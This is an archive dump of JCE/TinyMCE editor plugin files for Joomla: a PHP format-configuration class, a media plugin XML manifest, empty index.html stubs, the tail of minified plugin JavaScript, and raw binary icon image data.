el=ed.dom.create(tag,{}," ");e.keyCode===VK.ENTER?ed.dom.insertAfter(el,block):block.parentNode.insertBefore(el,block),ed.selection.select(el),ed.selection.collapse(1)}}}),tinymce.PluginManager.add("format",tinymce.plugins.FormatPlugin)}();editor/tiny_mce/plugins/format/classes/config.php000060400000003740150750527140016233 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFFormatPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

        $settings['inline_styles'] = $wf->getParam('editor.inline_styles', 1, 1);

        // Paragraph handling
        $forced_root_block = $wf->getParam('editor.forced_root_block', '', 'p', 'string', false);

        // set as boolean if disabled
        if (is_numeric($forced_root_block)) {
            $settings['forced_root_block'] = (bool) intval($forced_root_block);

            if ($wf->getParam('editor.force_br_newlines', 0, 0, 'boolean') === false) {
                // legacy
                $settings['force_p_newlines'] = $wf->getParam('editor.force_p_newlines', 1, 0, 'boolean');
            }
        } else {
            if (strpos($forced_root_block, '|') !== false) {
                // multiple values
                foreach (explode('|', $forced_root_block) as $option) {
                    list($key, $value) = explode(':', $option);

                    $settings[$key] = (bool) $value;
                }
            } else {
                $settings['forced_root_block'] = $forced_root_block;
            }
        }

        //$settings['removeformat_selector'] = $wf->getParam('editor.removeformat_selector', 'span,b,strong,em,i,font,u,strike', 'span,b,strong,em,i,font,u,strike');

        // Relative urls
        $settings['relative_urls'] = $wf->getParam('editor.relative_urls', 1, 1, 'boolean');
        if ($settings['relative_urls'] == 0) {
            $settings['remove_script_host'] = false;
        }
    }
}
editor/tiny_mce/plugins/format/classes/index.html000060400000000054150750527140016245 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/format/index.html000060400000000054150750527140014610 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/media/media.xml000060400000005360150750527140014210 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="media" core="1" editable="1">
    <name>WF_MEDIA_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
    <copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_MEDIA_DESC</description>
    <icon></icon>
    <params group="standard">
        <param name="strict" type="radio" default="1" label="WF_MEDIA_PARAM_STRICT" description="WF_MEDIA_PARAM_STRICT_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="iframes" type="radio" default="0" label="WF_MEDIA_PARAM_IFRAMES" description="WF_MEDIA_PARAM_IFRAMES_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="audio" type="radio" default="1" label="WF_MEDIA_PARAM_AUDIO" description="WF_MEDIA_PARAM_AUDIO_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="video" type="radio" default="1" label="WF_MEDIA_PARAM_VIDEO" description="WF_MEDIA_PARAM_VIDEO_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="object" type="radio" default="1" label="WF_MEDIA_PARAM_OBJECT" description="WF_MEDIA_PARAM_OBJECT_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="embed" type="radio" default="1" label="WF_MEDIA_PARAM_EMBED" description="WF_MEDIA_PARAM_EMBED_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
    </params>
    <params group="advanced">
        <param name="version_flash" type="text" size="50" default="10,1,53,64" label="WF_MEDIA_VERSION_FLASH" />
        <param name="version_windowsmedia" type="text" size="50" default="10,00,00,3646" label="WF_MEDIA_VERSION_WINDOWSMEDIA" />
        <param name="version_quicktime" type="text" size="50" default="7,3,0,0" label="WF_MEDIA_VERSION_QUICKTIME" />
        <param name="version_java" type="text" size="50" default="1,5,0,0" label="WF_MEDIA_VERSION_JAVA" />
        <param name="version_shockwave" type="text" size="50" default="10,2,0,023" label="WF_MEDIA_VERSION_SHOCKWAVE" />
    </params>
    <languages></languages>
</install>
editor/tiny_mce/plugins/media/index.html000060400000000054150750527140014377 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/media/img/index.html000060400000000054150750527140015153 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/media/img/pdf.png000060400000006222150750527140014440 0ustar00�PNG


IHDR��PuYIDATh��X{�Tՙ�}�vO����eb��	%+�I��3�đ*����ɺ5�E���Y$]Fk�p7�1	jf#��]�bz�o%�R�&"Z&�� wfv��s��s�j�ō��j~U��=�{���s�s��`#�s�G��[W"'|�p���Nl�p��wk�E�#�������<d<Z�#Ap��AlL&W,^�Z�>����y<������
|[��xT�o*�_]����y��66�$�Y�↕+?�i�=�O�lsG8@�0�@��J�~�m��Y�i��w�z��p(���<���L&{>����nt&���</�N�O~>|VPWWwA&�U\\ܱ}���O۟s�9��?Uۧqj��>h<���0H��������v
k$�p�������m۶uǛ�fE�V)U`����w����0��?�i�@�VW8���/��O���YE�y�{ȶ���/����'I.����U���f��y�НJ��,����Nw]��$�,���a�"�L�J�*pd1�y����0��]�(����#�-�#��DY	��dMWW�ҏ�'
�b��F�ψ�ˁ@�y�d%��������q�j�������;�'b```���ki�i.8HR�����
�u_4M��2�0_S����`l�ߢ�����2�>���r�aΜ9��
�L$��4�0�m~����Ս���Y-"_&y��B�eM%y/��:E$]QQ�D"��xDDL�\
`	�,��m�~%G�D"�=ϻ]DfhSJ����9���$��@ �<���kE��0�{<�K{��뺺��v����pq��r�pr�8��2r�X,f8�sɨ��p\)������i���b�¨-**ZWZZ��8�]��P x4�L�ʷ��*5Ms�y"�fIII|���]���0
@	��J�ݩT�X,V�8�j��r�4���t:��h4:+��<`��|�"��F�0�xɲ�WR����Q8)}��B��b�Z��j��^x���
�f�BUU&N�C�L�=9h���aw�H��_F"��{OOO#�8���$_޲��Z��$W�,p�����<W`jɟ��
�X,f@$���"r-����y�#���x<����H=�b��H;���>�J�~Er_oo�=��hY֥$��."$���8���g��_�<o�O�%��J����Z��qv�|���|������.��M2��B���������M��Ed��i˲���� ��}���k �ͮ�ɶ�&���N�r���`��*��Å�0d2u��ēpv����@lvO�������@GG���4�u�L�p8<��"�̘1c�]�y�r�#|��"���m_��ס��@��<m����#�Բ�9y���Ø*"'T8�s�o�q.^w)��'}����ϋ�Z�`�o�N�R��� y
���$�4T����>߿%�i�W�i�H.�H��sEd*�
T�	�����_������2eʕ�mYDv���ۻ�@n]:��,"1�_���/UVV��
ø�6�߿ٹsg;ɘ�t:}�m�&����4���1y�dOUUU��4��L˲��8'	2<��1
V�BKcN���젓���ĤI�R
�ls"r��z��ѣK���[I
��~���t���t���u�����s� ���u2�<E��u5550��Bk�Kk}��>}*���x<�s�<��`ΨQ��:}�s���~�H_6��QD���徝+sq&����J�:m��|]$m�n�m��,�pCCC��r��.���0���$˲f���Op'=00��/�\䋌*�Dd�a���k��i��������̙�$=�Ԙ|�s�)����@��5���o]���N��������͞����>�� y5�gI~�'O�D"������]DN���ycc��;=����J)G)�H��Z'浺P(��q�eM�	WVV^�X�/�d�ZDeh߾}a�@k}��l?�e�X�ȋaf<?[��b�����kE^���Bx�w6�JKK��?��VD~
�ʕR�%G���y�UyvTJ=�jkk�=z�"ҕL&O��S�����9K��y5�����IL-/����&!�Cls---Q�D䤈,�s�$�$o�>}z��#G�HN1Ms�7���y�`��;�e�Z��$9�e_���W�H-�i����v466f���V_��\�}�;$�Șݻw�l�毵����D�7o��c��"����
�+�R��|��|�/�ȿ���z'ɋΜ9S
��L&s�丽{��0Ms���U)$�����;�:LD��3���eH���oڶm[G8|�Z��d�x�I����3g���0�iFgss�"��)�47xJD���ܼٲ���Q��|���ag��҂cǎ������P"PJ
>��q���#lI�R�rMD��?’��֠��/"���F�5_O:��$"�\��'��u��M��%"�0�E"Ҫ��566��R�^D~�b��l�e����w��y��Ph����/>���<""R��K�1�+�M����blnn�-���V���t�
"r�d-ɧ�����:�>�H���/("w�R�T��$L�R�M ���#"�G���}�;�Ht��c"����y?�T*���l��0��TTT���Z��ʦN�z����E��Vc�તI|�}�5�a��o\{��iȻ��A,+��������uuu�PJu撤�x<����£s����}RQQ�����&�l�fYV9�'H��[D��"y�mۉ�kl��F�c\׽p�ر��D��<e&��;j���-�x������d����.����g��nSSSf(�x<����3!
���c��$�TD��DdcEE��D��>
���y�`4IOk�Zs��<��.3Z�r޼��e?ӈ���4g��y��˟�������K��qX�2U��2�Z���;c���{�D������F0��`����;���IEND�B`�editor/tiny_mce/plugins/media/img/shockwave.png000060400000007027150750527140015665 0ustar00�PNG


IHDR����	pHYs��
�IDATh�	p����{/�	!$5l[D�$,	X�D�R���*�:��TDA�[6��XQh��h����B�����}o����Nsgλ���{�ι���Դ��=�Xc_�䁀�����j8���.�����WG�:�}<5�T��T�qFO������nS.� 0ޛ�Ç��O>��p��ő#��cjt�x�*8*�Q�8ca�[Č:��U<M�65Q��&.!��:|�tk��<<�����M���	֪�\����Ϩ�o߾����X��e�ڗ�*}z�%�Mb�^fCz�q9��ܸ͙3g̺�,ߪ�ܙ˗O1f�n�1���kTXXԼy�E�^I��4,ٸqc���
z�="�nwpyyy��m��V�
?���j��� =��EJMqi�9�Wh���&=#�8���_���ܮ��Y����m�������JVn�t:=!!!)�W�ί����dQ@@@�c��3�*>�ܹ��/E�'�bm���={��O@݇�M.�����}�J@RRR㢢�;��
�A.���7w�֭�a<��A{��c�Vc�ʒ��k�:u�a��T{��qZ�n�^�:u��M����x��@�t�Р�04Ȕ��ɨ���r��`Uf�`�+*���3�ݻw4|�b��g���O�r�0�'H�d��:��O�>�UHhE��<�����m�?X�v�^U�?��u�ӧO��WJ2�#��J|2��?�کS������Q�t�r��kߙ�MPE���L��u�
�x���4�l-dVC��xJ.F����c�0��bP#H#�y6�J7�����ol��W�^͐�y+���
��l�2Y`5���!��^RVV�<���M����%K��v���7mڔ!:�'��N���<��0?�!ƛ����z���'m}v�…�Y3�]����xْ�~��|�'���,���<�(����Md��`��U�֬���/�}(���ʏ���5��^�y+C"��a�*�G�����It-�������ϗ�B Mf|3���q�^��6lؐm<��������n�q<ؑ���� �\)�,��%Ϋ���;��8������	�%T�W����Q�l��j`��ӣ��2�cJKJ�}��ʢV��2�C�_�o�5��T��n'��`3p�<f�����o�i�	�h�����x�C[,z��	���$��`#����Tη"��!�������M�>݉��8oN
�6�Uf�]��G-Bf��]���q!�oρ�e�T���Ҭ�,�b{=O�Hb��������4�Eߣ�>;B<�?��.á舀��XwI#Ht�X
�X�`Kpp�1xǃ���?�����\��I��5�o�9M�u�����|2��w�O�Q>f��p�"[� ��x �����~+9���c"""R�#���ˀ��>c�y38_����ݻ�nV�]�4.�4�9j�4�V�6�zI��
�*��2��Fm��y��%Ml豂� �=zyPPP�f99S<v����Cp������z/��!ȷ�����	����lt6��6ѕ]�;XKk�+<�̓���k׮Y©�K�8��͘+��l)_C����.��c��{�2�	�(#l{	��-<����Ӄ��F���3���Df���s�o��,4c�}���*��h�d�LeAt7B7�V/����_x�ĩg����v#�v�2��p��~����q:ng/MI�d':�edd�$�<ɼ!<o�XO�ָOU����f���+)��X7wǎ��w0���V�`��)��!uͯ�C��B3 )ɔ�\G+���0�(��2/c���
�%�2�J�J��p��76�2#���k#t5&H,y�iE���T�w��(*�ֱc�kСR)g�q��E���uء��*^��-NM��F~?d�����29e��^�;ѭ���#Z��_B�o�Eo�a?���4k��[aK;�h�T�5 �pV�5��=�
@>�tI��;��@.���/�p
�$l8��}
&xg��	����H��6v�E���{0:�����i7]�L�|���� ��^ڄu�#z�ˣ3i�=`={[+<�3���<�}�
�Z�yd�a��>��?�`RG&���\�`�� <����\�
\O�ۧY� �:�;���u�#���dC=�_j�&���+uإ�`�^��1�E�����Z��޼���<t������٣m��$իWo�FأLl���p]A�������w[D�]+xmB��5a8���pU�J
�U�|
{Oj�v��aYc�{�1��[���g��#���-@A��Mc�=�@~���ʞ�>��x��&����*�K�udZeK�[
�w%�'6X��{��z�f���w�_��:�������pzX���s���o�L󁙀�t7�+�y�)V�����h1(@���\�.���^L�1�1f��0Rw���#x�Ƅ���ޔ����o��1����?�
���8���ѣw���5���'2mH�Z2u1r+�'C�Mf_�]ǘǢ���5kRX[�le�Q��"e�������?��{XsW���Tj���<�i����]� WV�<b#2�jt`O`�1�th*�+�k��h�|�|k�#��+>o����{��~�VqMX�Od��K���ź�+�N�'�w���8s�2��F�'Y���~�s���˽�N{^�ڿ7�R��d��(λw�
�7��S͂7��{'�
�����K�v鶛/�`RJ����aag�40
aa&И���Vl���
n[�z���d�m60_���㧰]���-�DE=8Ze���"�[ʆug�7�����g�M���,]��0��zz�8-�a�W��w�`�g�R�9q�Dr���Cf�)�J
=��=�N����Q�|�*rŦ����:h��虀�6꞉m�Q�x��,�6	���W�W�Цy�o$&&ڕ�*�Ȗr�I��A~���?��Mc�Qf��
z�K��vS�/�M<���J���ȫ�����2�.&&ƭ��G���.�\z�6p�'H��W ��.��"��o�����34C��5�q���E��:ޙ�_MS	��}r�*yݝ�?~Z`�?��"e5\�T����=�1�A'��K,V�N(x���{g���p���[δ��Aw�>����F�>4o�M�`���� &�GX���O���Ĕ��_ngʫQ��d�p>��U�^�9�y ��o���V���k�wP)P9�`h!M��'|�t���!^;8-9.-�&&%��#˖���,�Zos�/�G�΋HK^N)���2Y���N�:�������JE�i׹��
��J����s͞O3��ڐ���j<PM��դ�FM������j�Z�����i�k%�qIEND�B`�editor/tiny_mce/plugins/media/img/generic.png000060400000001340150750527140015277 0ustar00�PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<�IDATxڤSMhQ�M6�1P�"�B�����%=�WP
���z	z(�Z!�K�A{5
=��%!XX��VRhLĖ�bMK7&&����u�4z����yog�4M��Y">�@��L&�P�h4�ch��K+���c�F�TU�X,�_@_�gw��+H�ht�`0x�s9Ʈ���>�k�\.׵�����q���BA�r�v4 pu��#�|>�w��T�POO���6$IrH�R��Y*���8��������T*�V�/C�Ф�l&Y�i`�ߩ�
���&`�M����|>�ǻm��H����~`�9`�����z��$���7��RBK������4O� ��\h�mM�V���5�
)�ʣY(60*,��\h:M�Ύ�?����[##���������@nr��������ۭp��\K(��l\?A�|��>�W,���H��;	x���vv����#v�T�lu��]E����\H��|#������m1r���N���.���=O&�5��?l��%
�9`�M��	c�Z�~��6m�XN¯�}�2��v0���&
h1�Q�cl���:�l1O�_���[g��
�m�Ћ�m���=�?�U�
0:�q���GIEND�B`�editor/tiny_mce/plugins/media/img/video.png000060400000001330150750527140014770 0ustar00�PNG


IHDR��
�IDAT8�͒�kTQ����n�+��J�6>@l+��"���h"b#��Q�`�� �b\P��HR�X�`����&AA#(>61���3{w�
�ӁS̜��f��nR)�w�!O��?��O��]�*f�����k1��������d���ӧe����J�������'�L5kQU7m�������*�SS�ZZ�v��/�OF.^,�:%��&&&v��Ϛ�u������9����� "d�Y�=�u�λ�_�<�R�n[[�;�iq!ǯ\�/_g�A@��CD��炁��$�J4��ǯ^�x]"RJ荏�'��K,�Q�.��}:;:Pk��<"�[$0AP��e�������˟�fg7� `u4���(��9xa��),%����5���7�;y�־!�\����c<�)!�1�e�^*���Z���,��3<2�]ER�q	|[&X�Tg2�8�J��հ{s�Ņ����[Z��)�z�����߻��b����7�lojZ�@:�fk"���i���\�b�Y�
����9;�N_R�(�(�J��
	���V�a6<T�b?㵵��4$*���b��+�r�f�<	�%ab�w		��	����ku! "��S�
g�"��_�07�+	ƿ����N&�V�_n23�

��75��~9�6����IEND�B`�editor/tiny_mce/plugins/media/img/real.png000060400000004417150750527140014616 0ustar00�PNG


IHDRlh�a	pHYs���IDATh�P���������Q)�j�Ԧ���@���M�1���	�X��N�pLI�Ljt�c��R%�F��5S�XNPPl�`2mck3I�X" �
������rw�-k�7����ݷ�o��=��t��v�x�p�:m�x��
�V�g6is��f;�wݺw�㙦M�LS�y���os8�]��)�\�bs���7��i�׮}gj͚�����iZ!�	��
V�L��	��85{�<����ϛ���W��}�7j���Z 'O%����ٳ�P`|��61�*eE����S_��T�--ʨ�UW�^U���*}��}~��w�Ҩk����vSJJJ\rrr�d�	���U���]���[�IIIM�pp`D
�����>��U�ժ4ʡ�H��J�y�z��XB����w�������p8b�4�\~����ō�oz������dz9�gff���2E��h��������5x/	}```>ݿd|=~�?�c���z�����lMM�e_�|3���АS�2U�ŤfEX���e�aN�C�z�ܙ&m�������C�@���ehh��k�?����Y����):	�f��:��=���C�222����cPP�z���w>;;;�׬1�#��-�xi�垞���M�
U�����TF�A���i�P
;����622�x}}�aN�m���CCC�HRx��ӓ8Y�->u����*4JW.�q?�M�<��l��ӧO�.�@
V+2V����p@�'x�o�]3��ypp�A䵞:uj��ő�gO�dj��j}JJk{{�#���a��~v�8qB�d������4��a&{v��3O%P9�l �y�'�G(�K��!�fXP]]������ųSzN��D�����(��_z�<��I��х��`�Í�r劔'���%���&��&��̫ʼnBg�R.�As��8�G��oq�Y�5Jo;����?��t`�E���i�@�K��o��yWW�Qt��pdu3~��k�Vm����a����b�l��9��r�������5R�=��Ѧ��T����A���ky��}���P��&��84&�2��E��F�{C���ܹs�2Ƹ]�a�F������}Xz��LY�c��̡�}C�:n����Nb�D���񏧣���
z��E�ω�������)Y�����ľo�;���K�a��;~Lb,�߰lٲz7�5o2��&8�5�T���03Ή�h���U��S��W���!"�u�4�AS��Dq�c.��|RX�t�\����l��Hh�\Noq�j��}�H�5��
m����Nm�1m"8��,�Hx]6[	f�X���X�u٩;Z��2�ŲG����`MoQQ�����n3�͛\�>���!�Eo��N�#��imv쇉��:�\���jAB�jokS1���!�	��:���g�Ǎ�nňF6�}.22r'�M�����B�ǝFh�����x�R�f�x	\�б��_17�\2N��l��ז[�dtPu�gΜ�Ě�d�s�[���v�i�͘1#����������HcgΜ�V�Lሎ��JGGGw�!J�@�
�򉷣�!ʥ�0����jjk�աh�6����f�����4��C�r��m\��o�z���9��_�p�o�cw��e���3.����es���߇��$Z/�����Ș���r�\L�U)sb
4)a����eDD�˝���%Q���رc��%\���.//��1v/�i�<@_HV�A�4��!v���!��=�QQ
TTd��d��P/E)�4��]�6��d��M��@��	���.�ȷ�@/�"hR»9XS֮A�A�pgO)�䍬�Q�]��
�v/v�^vCZ��[�3�F��킯p��rg�d�y%��[ƨ���	I6n=�w�3�c�2��D�8���x-�m��$���Wx��&Oc^[�bڬY�ZqȰ[���8~�x�7�D:x�-����_QQ!��QMdtww����Cv�G��j�FI�`���t?>���6p?�K���p�P��6O��4�,'v��#�W��Z�<�s׽HEpG?�}qO�rrrsU�O���M�?߾ԭe�<�K�;��-eJ&�M������c�UN�y�U�'a2)���D��ĉNӯ�<���~Z�z���\L��'MIEND�B`�editor/tiny_mce/plugins/media/img/windowsmedia.png000060400000006563150750527140016371 0ustar00�PNG


IHDR�7W(	pHYs��
%IDATh�	t���罗��Y��F7U�Ԫ���@!�aעT@��r�BYO[�,��zZ(k$���^�K��֭Y%��%���/�$I��oιof�s��;w��|����P	y�����А�!�a��a�+F�9.��.|Ie�9#F|YO���Z�a�	��s^��k<�>����e������,p�>���ɨ�.!��G���p���� 6�c���
馀O�v�L�����b�w���u3��ο���\?oT(�ksr�x 8�wڶm[�=z��X��[e�ҹϬzs�IKM59����p�񚒒�֦M&�sǹ�/�h��i
aVFFF��ǏGFGG���)�62m���E.<�md|_��j���g��O�>x��(��S�u���3�O��w�P�������*:n�����3�?��;�cL׫��2}Td���㏏�S~��q���ڹv��E�۷�5��y��7/Z��=`��+��ʞs:�����A���o����ROf��;��v�"#m߾}#��َoH~�p9�ΒLl\�nݺm�����z�������m=W��+=X�J����+�}�p�1�����p�eIOO�����1|y5zD��������z�	c��Jn�.f��D�J����F.�����䝬�7�K?�Y`N��	G;�����8q"E8���1�/@�'�o�^WQQQ�~�d�T2p�JMM�I��%7����@}	��؛���z�XC��PrH�+**>D?/�|��O��HNN�<�i�gϞ�`�4���KKK[y++M��h�*'�ۍϸ�N�ȖB�7ļ��>�6��iӦ���n�b�)���R[g�������!<<<���Y�a��݀U�^ɸԛ�.��Y��Hc233s
z���큧���J<m�/�ڰaö)S�8��3٘�3V�^�Ϝ��s+s�����СC�:t�7�פI�G###}��ũ�IF����R2Jv�mx[�����>>��>s�
�C���A��l�;N�ݢ���`�%%%e4j�h�F��_�)�6o�wɫ�0�"�$9���{�q��
S�l�kO�<y'�����V��߿9y�w���=�s|큯A�ʩ�'��d	>��Nc���4ky>�[�]\�X7��Fo��wH,�%���<UU��oܸ�-��>�Mi�t��&��?�
��ܘ�np��խ������r�ʕ+˘|�$�1q���|@��׵��j���~�c���ӭ>�X	�ip���	��pJ��dd���zڗ	o��X
d2��0`�<i�$nl��hN��3F}�MV����׫�d��1+ �E��В����OsƧ��u��)�7�G�Y�<s�k��b��~��i&�3�
o5�!C��^��EV;��+�曙knq��#��#Q�m�N��ú_v�?�y�f�k�����(����w����Z�1WIt��M�^Æՠ�DS?	�ubVk�8z^O��&;F�!���jX�޽�o�8�r��N�/]�LA��^-�u�q��&G����4�gl��4f�B���H���͚5���Xa�l	�/�@}�j6���$�vu��6V�uȁc�����p�6��J��Wo2l#H�8��~�H�?}E���������7��ի=��J�:J9r^��_,���m�d�/��=|߅̓Q[�Ym���%�/s��l��
@�	)))�AM�@�j�5�^�l�����N�t�� /I�t��Uבi���'����Q��)�=�{G��(�Y;�|��B�����YN���b��EL�hsyBSSv���8иˉl��A�r:LY
WM��v�_��ڵ��(���
Gٮ�y�Y�/A�G٘���80DǙ�Ϊ��>_u>Q;��=.d�Xḟ���/�q��K��d<|I\]��f�$���NR}����{�>�3��޴i�gd�^uh.c�1�˜��`��3�%T_�_�݅��x&[�\�я���%�k}e��`��>c䃱��1>>��@��>��6��n���]�a	D�c�%��y���/RPr���
B�`�MG�;��S���$�e�<Ču:��*��t1�"��x�`x��Gg>�b�
O1��&++���Ǜ‚�jA�
�+�V�alU����=�5�J{���sń2:�T�q�W�/YA_
�v�_���
AVļ^�j�:��X�c*uo��O���!���ѣs����@���w6��y��t⚠E��j-l�=�.��5;��N>��7n�l���}|��Z#~�̑t_��N�U,u6��+���=x,כ��3��<��
tD޳�A{��-[j}�Ԧΰ�Uͧ���V�1�g6�5��_�ҟ�/7�?�����ͣ��.�4t�[��{���<��l3돫>L`���-�������^�
�녂Fs��0]��jZ�h�^���-111�l�v��u�*�+@���Α��gb��iϧ~~ѫ�h��eXe�����f�~P��W�ޱcG�U,�<p�@}͸��"��U��m:�o�۪9i֑�
��������ͼ�x�/���@Yj�h�"�X	�@h�-���S�s���O����O�|����l}�yub�DދmoI��'''/A���8���6�߃��������x�X�סg�&���E�q�;y�A�8�*PQ�8�D�Ɩ���3q��&P�]c|�Q�+�>��I�m�
f���|?�K<�Ed��m����W����?|�]Aʡ�G�*<X$�{������jt�+���	 e9=�^�����5�"���=2���7�狴g!�R�'{�ck�d�c�2	G��G��Ubk�rs�G+�0y�ö�5�dk'�����?�yj�	��ѺlG�F�S������BFS��V�ׂ@B�1c��6�i�1������}dI_k���$���P<�Eѧ�cǎ�4{k��,��҆M�[U_}��rK,Y��}��E�s6<�ŧ϶\�J���r�U�c�ͫZ���u$5X�Ls�U�3��7��-������s����6��?L`���j��G1F��VB�~�
�kdT���l��ԧ����
��p}���:��p�ī1[�	�C��c�S��.>`��k�{{[ލ�M�<�Y�l�M�+�|����?��7�@�j��:&��t�wT5�P�����#�~����u���^il�P��U���Q![B���{E�0z�IEND�B`�editor/tiny_mce/plugins/media/img/audio.png000060400000001173150750527140014770 0ustar00�PNG


IHDR��
	pHYs��-IDAT8͔MkQ�߹31�~RE���ӥ\�.J�mBi!��r%إ+Tt]��FRp� �@	AƖdh���s�;$3`����9�އs�3w<c.��	cV�.��/	c���}�|�����
or@���ۍ��X)$ZC�-ΚF���z}eym�X�f������fH�؈�E��>z��]?�j[Z�ťjun"���<R	�-�>�
\	B��\�x�����›����,0ײL�0��^R�R��K������φr-+���s�3���NU1�����b@R9�[y�k0��B/L[&���v[�{t�w�i�O9�N�PJ�"F���ī���+��E�,07z����GV��g�����iP
>�Y;h�8�P���k�ܺ)q
�x[+�e�N&�2�=:����!�o�s���9h�kCω��,0���F��)�zW�Ʒ�u<{P��bm��pE6�<�}������yz�$����*��i��B�U�8�n@Gѧ������=�rr���L�Ͽt��Qt�{($�k�����.�I@N�IEND�B`�editor/tiny_mce/plugins/media/img/swf.png000060400000006262150750527140014472 0ustar00�PNG


IHDR��
yIDATh��Z}t����y�%�L� P(X�.Pm�R\��HI �" h�P]m���mmں�n���±�bE�6����̄��tW��#��YQFf�L�㽿�#�������6�sޓ������s����caC���'��gk~`9�O
ԙ���^tVC����?�:�	k��e)�AJiU8$�n����'[Z䆇6O�uW��!��G�Jyh<^-0�f�B�C M E�w�f�2�y� �Ϛ��<�Ц���ᄀ� �WR�Xd[#�ɘ �P��@\���mxeϞ�>n�9�qcp0UVV�p'�ȑ�
6�>�~uuua"�(u'�D�
������0|��#uuuι�*++��m����'�n��1��1L�Z���R	x��þ�C��p����3@E�Exn���I0���N6lɖ-[N�L&�$9���u�G�6�x<>_U����<��GA0\��s�EdO8�
ﺾ�x�\|Y��.�N/�����>J�@ ��Y��"���E}}����sAMM�}���P`����Y�f�����\�^I�˴���]��[6�؝58��2��Ҁ�n{���i���O�>�uIttt,�� ���@D.P!"
 ��>(�l0�Xi'�$KH.I&���ʮ�S��FUU�X,���."���۪z�;^|�ť�@`A$9�ݧWR&xX�	S`ƎC��q�h#b��G�@��� ����&egg�2��6#�DVRVWW���o��A�0�1�6���8��L�vU�����"g�@ ��"�I?nnnޛ�B��$o0��Q�뛛��ӭ�H��9m����m������1�{��5���mPYY96�H�P."��["����魌
U��������x<�w����1�kMMM�����v�3l۾B������n�Ih3���Ï��o�ɪ�c׮];�>+HN�,����q{EE�E��p���<_RR����.����W�#"[�H�9��B�_��+"�/$��#"�l�b*��H���d�핔I펺�|����㍫�"I�K�$�1=�i� ��5@�V����$�
�B�f&$��P�9("\�Љ$��&"/�����htN�`�H�E�By*kjjF���9�Ph��8��C"��d5�%����2��&���[3_����\%�]U����r-H&��jUU�����hr_Л�1���e��@u*��p�A:���z{h��I^�oD�uW~��^�
��ac����c��QSScE�� 9*�N?>��1�x��l�B�rU}(�Np�1�Ӫz�;��,�6��_`Y������h4� ɫ�1�H>�J�n%���P(��}�&w]N9��o?����h��S���N�=�HObz�����~���N�h{{��"��i��2U�#"N^^ޔH$2@s�
U���0˲�D"sL�8��`�Y��7{��Q�e��cJ:::���8?�w��Ddcnh�I^`m�I&�}.�"rYii�U��.���+�������(�c"�p^^޵����E�*m�Y3{��|�p�끸��Y�m����d2�7W�����|Y��PU����
����D�4�/̛7�/c�X9�Q"����{��$K<���f^��555v�����Cr���m�x<W�UWWw�1U� m�i�D"�E�7��\yF,r�$'�{o��i��O�Aܭ��ӈ�$����t�˷��t?�|�I���r�b����_�����$"��>����mR�^Wmm�666~ "�@2��}��W_��mT�AU�&�����|f�|��2�m���긓�@4��R�}~���K&��ai%9�dc"�8���$�D���kkk������rAr���G�Ƙ���tUKKKW�^,�8�FR�ԇ"��5n<�`�֭"�kH$+\�rX皸�w����L&_v�[�Xll��?���ڵk�Ɔ�����\�dV<�x��s����\'�խ�+�⵸��'ܿ'�g�׿#ғ�F�H�3m�4/ɥ����l y��}|(��M���^D��������������Ƙ�\��޳*�J��z����������S__�^�B4]����/c�%'N��-?z��ѣG_jY��"��H�W�>�f۶�g���ɿ3f̰p8<����;�T�A��Ddm^^�pU�)W���<
��k�(((x�����f����K����ϲ�}$�g�}ɲ�*���YED�c~{�\C_:�+�n���v��yUAt��I�$TF������WR�|�J�qF��֢L;�{IV�\y���U������`0�,��g��g\#"���wT��$�c�9�7����\ձ~��c�\U/"�tz[8N�������m�~��$g�o���!I0�z���ï˖����v�ȑ$7[���}�*ѽ��1��H����R�H$fZ��8�0����J 8�Y}DdͶm�:��O��2��m��1���DUo��踤���?~;T��@ ���<�⦦�W���k�1s��}"�J�R/�ѯ?�I'%�M�*J�:���Vʤ��|g���
�û3����۾h���^c�wD�QՅ$�hͶ���������{D�
�6�r�HD~��׈H��Դ��u��JD�i�O�	Y��Lh�H��&"�.��Ƙ�sT�%Y�׎�L6�<�z�{��?*<ϏD�?I�`���>�=kn`�v�
I8�l��*��$�pg��~��щ'��g�`�ΝQU����:����,��-"	����-G�W9��.mz��&S!������˗�l��h!ꍚ��N�:U���c��H�g�-eee۶}����cÊ�bclۖ���ֺ����9�{����&��,((�466,�,�:R__��K
��w�{"�{��@ Pj��y<�c���'��Ʌ{e���ý�EdU���@��䫨x�YP��*U��)�a�q�T�����ܾC�?�iӦy����O�߿�|�����p�ܹ�WWW���	��L�b2}��>� �O�|ݿ~x�;���(..�Y��@:�fii����í��χ�!aC���X��3�IEND�B`�editor/tiny_mce/plugins/media/img/trans.gif000060400000000053150750527140014773 0ustar00GIF89a�!�,D;editor/tiny_mce/plugins/media/img/quicktime.png000060400000006105150750527140015662 0ustar00�PNG


